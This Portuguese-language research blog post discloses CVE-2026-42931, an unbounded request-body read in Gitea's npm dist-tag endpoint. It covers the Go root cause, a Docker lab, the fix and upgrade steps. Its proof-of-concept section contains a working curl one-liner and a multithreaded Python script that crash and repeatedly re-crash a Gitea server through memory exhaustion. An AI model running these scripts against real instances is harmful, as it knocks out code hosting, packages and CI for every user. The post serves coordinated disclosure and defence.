> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# CVE-2026-42931: DoS por leitura ilimitada do corpo da requisição no endpoint npm do Gitea
- URL: https://yokai.hakaisecurity.io/cve-2026-42931-dos-por-leitura-ilimitada-do-corpo-da-requisicao-no-endpoint-npm-do-gitea/
- Published: 2026-08-14T20:44:03.000Z
- Updated: 2026-08-14T20:44:03.000Z
- Author: Tricta
- Tags: Research Blog, #wp, pt-br, #pair-CVE-2026-42931

## Abstract

Quanto de memória uma pequena requisição destinada a alterar a *tag* de um pacote deveria consumir?

Em condições normais, apenas alguns bytes. Afinal, o endpoint analisado neste artigo espera receber somente uma string contendo a versão de um pacote NPM, como `"1.0.0"`. Entretanto, durante a análise do Package Registry do Gitea, foi identificado um comportamento que permitia transformar essa operação aparentemente inofensiva em uma **condição de negação de serviço contra toda a instância**.

A aplicação **carregava integralmente o corpo da requisição HTTP na memória** antes de validar seu conteúdo ou verificar se o pacote informado realmente existia. Dessa forma, o **volume de memória alocado pelo processo do Gitea poderia ser controlado indiretamente por um usuário remoto**.

A exploração **não exigia privilégios administrativos**, acesso aos pacotes de outros usuários ou interação de uma vítima. Um usuário autenticado precisava apenas enviar um corpo suficientemente grande para um endpoint disponível em seu próprio namespace de pacotes.

Mas o que aconteceria se, em vez de uma pequena versão NPM, o cliente enviasse centenas de megabytes?

Dependendo da memória disponível e da arquitetura de implantação, **uma única requisição poderia encerrar o processo do Gitea**. Requisições concorrentes também poderiam manter a aplicação em um **ciclo contínuo de encerramentos e reinicializações**, afetando todos os repositórios, pacotes, *issues*, integrações e serviços hospedados na instância.

A vulnerabilidade foi reproduzida no Gitea 1.26.2 e estava presente no código de desenvolvimento anterior ao lançamento da versão 1.27.0\. A correção foi disponibilizada no Gitea 1.27.0, lançado em 12 de julho de 2026, e a falha recebeu o identificador **CVE-2026-42931**.

---

## Sobre o Gitea

Tenho consciência de que a maior parte dos leitores deste blog provavelmente já conhece o Gitea ou, ao menos, já encontrou alguma instância durante atividades de desenvolvimento, administração de infraestrutura ou pentest. Ainda assim, um breve contexto ajuda a dimensionar o impacto da vulnerabilidade apresentada neste artigo.

O Gitea é uma plataforma DevOps *self-hosted* e de código aberto voltada à hospedagem e ao gerenciamento de repositórios Git. Além das operações tradicionais de versionamento, a plataforma oferece revisão de código, gerenciamento de *issues*, *pull requests*, projetos, colaboração entre equipes, Package Registry e pipelines de CI/CD por meio do Gitea Actions. A documentação oficial descreve o produto como um serviço de desenvolvimento completo e autocontido, semelhante a plataformas como GitHub, GitLab e Bitbucket.

A aplicação é desenvolvida predominantemente em Go e pode ser implantada como um único binário, serviço de sistema ou contêiner. Instalações em Docker frequentemente utilizam bancos de dados como PostgreSQL ou MySQL e podem ser posicionadas atrás de proxies reversos como NGINX, Caddy ou Traefik.

O componente relevante para esta pesquisa é o **Package Registry**, mais especificamente sua implementação compatível com o ecossistema NPM.

Esse recurso permite que usuários e organizações publiquem pacotes diretamente na instância do Gitea e gerenciem suas versões e *dist-tags*. No ecossistema NPM, uma *dist-tag* funciona como um alias associado a uma versão específica, como:

```plaintext
latest  -> 1.5.0
next    -> 2.0.0-beta.1
stable  -> 1.4.8
```

Em vez de instalar explicitamente uma versão, um consumidor pode solicitar uma tag:

```bash
npm install pacote@latest
```

A API analisada nesta pesquisa era responsável justamente por criar ou alterar essa associação.

Por concentrar código-fonte, pacotes, processos de colaboração e automações, a indisponibilidade de uma instância Gitea pode ultrapassar o impacto de uma simples interrupção da interface web. Dependendo da arquitetura da organização, o incidente pode afetar simultaneamente desenvolvimento, distribuição de dependências, pipelines de integração contínua e processos de implantação.

---

## Detalhes Técnicos

A causa raiz da CVE-2026-42931 estava em uma leitura não limitada do corpo da requisição HTTP dentro da função `AddPackageTag`. A função `AddPackageTag`, localizada em [routers/api/packages/npm/npm.go](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/npm/npm.go?ref=yokai.hakaisecurity.io#L332-L341), era responsável por associar uma *dist-tag* a uma versão específica de um pacote NPM. O corpo da requisição deveria conter apenas a string da versão alvo, como `"1.0.0"`.

```go
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

    body, err := io.ReadAll(ctx.Req.Body)  // SEM LIMITE DE TAMANHO
    if err != nil {
        apiError(ctx, http.StatusInternalServerError, err)
        return
    }
    version := strings.Trim(string(body), "\"")
    // ...
}
```

A chamada `io.ReadAll(ctx.Req.Body)` na linha 336 lia o corpo inteiro da requisição para a memória antes de qualquer validação. **Não havia verificação do tamanho do payload**, não havia limite configurado e não havia uso de buffers intermediários com *spill-to-disk*.

A rota era registrada em [routers/api/packages/api.go](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/api.go?ref=yokai.hakaisecurity.io#L430-L436):

```go
// routers/api/packages/api.go:430-436
r.Group("/-/package/{id}/dist-tags", func() {
    // ...
    r.Group("/{tag}", func() {
        r.Put("", npm.AddPackageTag)    // reqPackageAccess(perm.AccessModeWrite)
        r.Delete("", npm.DeletePackageTag)
    })
})
```

---

### Por que io.ReadAll() causa Out-of-Memory

Em Go, `io.ReadAll()` lê dados de um `io.Reader` para um slice de bytes (`[]byte`) que cresce dinamicamente. Quando o volume de dados recebidos excede a memória disponível, o *runtime* tenta alocar um *backing array* maior. Essa alocação falha e dispara um erro irrecuperável:

```go
runtime.throw("out of memory")
```

Diferente de uma exceção tratável, **esse erro encerra o processo inteiro**, não apenas a *goroutine* que processava a requisição. O resultado é a **terminação imediata do servidor Gitea**.

---

### Ausência de limites no servidor

O Gitea implementa limites de tamanho por tipo de pacote através da configuração `LIMIT_SIZE_*` definida em [modules/setting/packages.go](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/modules/setting/packages.go?ref=yokai.hakaisecurity.io#L35). No entanto, esses limites eram aplicados apenas durante o upload de pacotes (`UploadPackage`), não na operação de tagging.

A função [mustBytes()](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/modules/setting/packages.go?ref=yokai.hakaisecurity.io#L96-L108) configurava o padrão como ilimitado quando nenhum valor era especificado:

```go
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
    const noLimit = "-1"
    value := section.Key(key).MustString(noLimit)  // padrão: "-1"
    if value == noLimit {
        return -1
    }
    // ...
}
```

Mesmo que um administrador configurasse `LIMIT_SIZE_NPM`, o endpoint `AddPackageTag` **não consultava esse valor**. A leitura ocorria antes de qualquer verificação.

---

### HashedBuffer não era utilizado

Para uploads de pacotes, o Gitea utiliza o [HashedBuffer](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/modules/packages/hashed%5Fbuffer.go?ref=yokai.hakaisecurity.io#L20-L33), que mantém até 32 MiB em memória e transfere o excedente para disco:

```go
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024  // 32 MiB — seguro, com spill-to-disk
```

Esse mecanismo protegia a operação de upload contra consumo excessivo de memória. Entretanto, **`AddPackageTag` não utilizava o `HashedBuffer`**. A função chamava `io.ReadAll()` diretamente, **ignorando toda a infraestrutura de proteção**:

```go
// npm.go:336 — ignora o HashedBuffer
body, err := io.ReadAll(ctx.Req.Body)  // lê tudo para RAM, sem limite
```

---

### Requisitos de acesso

A rota `AddPackageTag` exigia permissão de escrita sobre o namespace do pacote através do middleware `reqPackageAccess(perm.AccessModeWrite)`. Porém, a verificação em [services/context/package.go:155-157](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/services/context/package.go?ref=yokai.hakaisecurity.io#L155-L157) concedia automaticamente permissão de *owner* quando o usuário autenticado coincidia com o dono do namespace:

```go
// services/context/package.go:155-L157
if doer.ID == pkgOwner.ID {
    accessMode = perm.AccessModeOwner
}
```

Ou seja, **qualquer usuário autenticado possuía acesso de escrita ao próprio namespace de pacotes**. Não era necessário que o pacote existisse previamente nem que o atacante tivesse acesso a pacotes de terceiros.

O ponto crítico está na **ordem de execução**: o OOM ocorria na linha 336 (`io.ReadAll`), **antes da** [**consulta ao banco na linha 343**](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/npm/npm.go?ref=yokai.hakaisecurity.io#L343):

```go
body, err := io.ReadAll(ctx.Req.Body)  // linha 336 — OOM acontece aqui
// ...
pv, err := packages_model.GetVersionByNameAndVersion(...)  // linha 343 — nunca executada
```

---

### Fluxo de exploração

A cadeia de exploração pode ser resumida em:

1. Atacante cria conta na instância Gitea (auto-registro habilitado por padrão) ou obtém uma credencial de baixo privilégio
2. Atacante envia requisição PUT para `/api/packages/{seu-usuario}/npm/-/package/{qualquer}/dist-tags/{qualquer}`
3. O corpo da requisição contém centenas de megabytes de dados arbitrários
4. `AddPackageTag` chama `io.ReadAll()` e tenta alocar memória para todo o payload
5. A alocação falha quando excede a memória disponível
6. O *runtime* Go encerra o processo com `runtime.throw("out of memory")`
7. Todos os usuários da instância perdem acesso a repositórios, pacotes, *issues* e integrações

Com requisições concorrentes, o atacante poderia **manter a aplicação em um ciclo contínuo de *crash* e reinicialização**, mesmo quando políticas de *restart* automático estivessem configuradas.

---

## Proof of Concept

A reprodução foi realizada em um ambiente Docker com memória limitada a 512 MiB. Essa configuração simula um cenário real onde recursos são finitos e permite observar o comportamento do OOM de forma controlada.

### Preparação do ambiente

Um ambiente equivalente pode ser criado com Docker Compose:

```yaml
services:
  gitea:
    image: gitea/gitea:1.26.2
    container_name: gitea-cve-2026-42931

    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__service__DISABLE_REGISTRATION=false

    ports:
      - "3000:3000"

    mem_limit: 512m
```

Inicialização:

```bash
docker compose up -d
```

Depois de iniciar o serviço:

1. Acesse `http://127.0.0.1:3000`
2. Finalize a instalação inicial
3. Crie um usuário comum, por exemplo `user1` com senha `Password123!`
4. Confirme que o usuário consegue autenticar-se

---

### Exploração: crash com uma única requisição

O comando abaixo envia aproximadamente 400 MiB de dados (cerca de 80% da memória do contêiner) para o endpoint vulnerável:

```bash
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
  -X PUT \
  -H "Content-Type: application/json" \
  --data-binary @- \
  "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
  --max-time 120
```

O payload consiste em bytes nulos (`\x00`). Não há necessidade de construir um payload especial, dados arbitrários são suficientes, pois a falha ocorre durante a alocação de memória, antes de qualquer processamento do conteúdo.

O parâmetro `{owner}` na URL deve corresponder ao nome do usuário autenticado. O nome do pacote (`anything`) e da tag (`latest`) podem ser qualquer string válida, já que o OOM ocorre antes da verificação de existência do pacote.

#### Verificação do crash

Após enviar a requisição, o servidor deixa de responder:

```bash
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Resultado esperado: connection refused (server is dead)
```

---

### Exploração: negação de serviço persistente

Mesmo com políticas de *restart* automático (`restart: always`), requisições concorrentes podem manter o servidor em um ciclo de *crash*. O script Python abaixo demonstra esse cenário:

```python
import threading, requests, itertools

payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)   # 500 MiB
i = itertools.count(1)

def worker():
    s = requests.Session()
    while True:
        n = next(i)
        try:
            s.put(
                f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
                data=payload,
                auth=("user1", "A@12345678"),
                timeout=120
            )
        except Exception:
            pass

for _ in range(20):
    threading.Thread(target=worker, daemon=True).start()

__import__('signal').pause()
```

Com 20 *threads* enviando requisições continuamente, o servidor entra em um ciclo onde cada reinicialização é seguida por um novo OOM antes que possa processar requisições legítimas.

---

## Impacto

O impacto principal da CVE-2026-42931 é a **perda completa da disponibilidade da instância Gitea**:

- **Uma única requisição é suficiente para derrubar o servidor**
- O payload é trivial: bytes nulos funcionam, sem necessidade de compressão ou formatação especial
- **Requisições concorrentes mantêm o serviço indisponível** mesmo com restart automático
- O custo de banda é baixo, o atacante envia aproximadamente 80% da memória disponível do servidor (ex.: \~400 MiB para instância de 512 MiB)
- O ataque **não depende de ações de outros usuários ou administradores**

#### Quem é afetado

- **Todas as instâncias com Package Registry habilitado:** o recurso vem **ativo por padrão**
- **Qualquer usuário autenticado pode explorar:** não são necessários privilégios administrativos
- **Auto-registro amplia a superfície:** com registro aberto (padrão), um **atacante não autenticado pode criar uma conta e imediatamente executar o ataque**
- **Todos os serviços da instância ficam indisponíveis:** repositórios, pacotes, *issues*, *pull requests*, Gitea Actions e integrações

---

## Correção

A correção foi implementada no [Pull Request #38406](https://github.com/go-gitea/gitea/pull/38406?ref=yokai.hakaisecurity.io) (commit [f69e15a](https://github.com/go-gitea/gitea/commit/f69e15a?ref=yokai.hakaisecurity.io)) e disponibilizada no Gitea 1.27.0.

### O que mudou

A chamada `io.ReadAll()` foi substituída por uma leitura limitada utilizando [io.LimitReader()](https://github.com/go-gitea/gitea/blob/f69e15a/routers/api/packages/npm/npm.go?ref=yokai.hakaisecurity.io#L333-L341):

```go
// routers/api/packages/npm/npm.go:333-L341 — versão corrigida
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

    const maxBodySize = 4 * 1024  // 4 KiB
    body, err := io.ReadAll(io.LimitReader(ctx.Req.Body, maxBodySize))
    if err != nil {
        apiError(ctx, http.StatusInternalServerError, err)
        return
    }
    // ...
}
```

### Por que a correção funciona

O `io.LimitReader()` encapsula o `io.Reader` original e **limita a quantidade de bytes que podem ser lidos**. Quando o limite é atingido, leituras subsequentes retornam `io.EOF`, impedindo que `io.ReadAll()` continue alocando memória.

O limite de 4 KiB (4.096 bytes) é adequado para o caso de uso legítimo. Uma string de versão semântica como `"1.0.0-beta.1+build.12345"` raramente excede algumas dezenas de bytes. O novo limite oferece ampla margem para versões válidas enquanto bloqueia payloads maliciosos.

Com essa alteração, mesmo que um atacante envie gigabytes de dados, o servidor **alocará no máximo 4 KiB na memória** antes de encerrar a leitura.

### Atualização recomendada

**Administradores devem atualizar para o Gitea 1.27.0 ou superior o mais rápido possível.** A atualização pode ser realizada através dos canais oficiais:

```bash
# Docker
docker pull gitea/gitea:1.27.0

# Binário
wget https://dl.gitea.com/gitea/1.27.0/gitea-1.27.0-linux-amd64
chmod +x gitea-1.27.0-linux-amd64
# Substituir o binário existente e reiniciar o serviço
```

---

## Conclusão

A vulnerabilidade de leitura ilimitada do corpo HTTP no Gitea representa um risco significativo para organizações que dependem dessa solução para hospedagem de código e automação de desenvolvimento. A capacidade de derrubar toda a instância com uma única requisição autenticada demonstra como falhas em operações aparentemente triviais podem comprometer infraestruturas críticas.

O comprometimento de uma plataforma DevOps centralizada tem implicações além de uma simples indisponibilidade. Pipelines de CI/CD param. Deploys falham. Desenvolvedores perdem acesso ao código-fonte. Dependências hospedadas no Package Registry ficam inacessíveis para todos os projetos que as consomem. Em ambientes onde o Gitea é peça central da infraestrutura, o impacto se propaga para toda a cadeia de desenvolvimento.

Esta publicação alerta a comunidade técnica sobre as implicações de segurança do uso de `io.ReadAll()` sem limites em servidores web Go, e reforça a importância de validação de tamanho em todas as operações que processam dados externos.

Agradeço à equipe do Gitea pelo profissionalismo e comunicação transparente durante o processo de divulgação coordenada.

---

## Referências

- [GitHub Security Advisory - GHSA-wwqq-x6w4-frm2](https://github.com/go-gitea/gitea/security/advisories/GHSA-wwqq-x6w4-frm2?ref=yokai.hakaisecurity.io)
- [CVE Record - CVE-2026-42931](https://www.cve.org/CVERecord?id=CVE-2026-42931&ref=yokai.hakaisecurity.io)
- [Gitea 1.27.0 Release Announcement](https://blog.gitea.com/release-of-1.27.0/?ref=yokai.hakaisecurity.io)
- [Pull Request #38406 - Various Security Fixes](https://github.com/go-gitea/gitea/pull/38406?ref=yokai.hakaisecurity.io)
- [Código corrigido - routers/api/packages/npm/npm.go](https://github.com/go-gitea/gitea/blob/v1.27.0/routers/api/packages/npm/npm.go?ref=yokai.hakaisecurity.io#L333-L355)
- [Código vulnerável - routers/api/packages/npm/npm.go](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/npm/npm.go?ref=yokai.hakaisecurity.io#L332-L350)
- [Registro da rota - routers/api/packages/api.go](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/api.go?ref=yokai.hakaisecurity.io#L425-L439)
- [CWE-770 - Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html?ref=yokai.hakaisecurity.io)
- [Documentação oficial do Gitea](https://docs.gitea.com/?ref=yokai.hakaisecurity.io)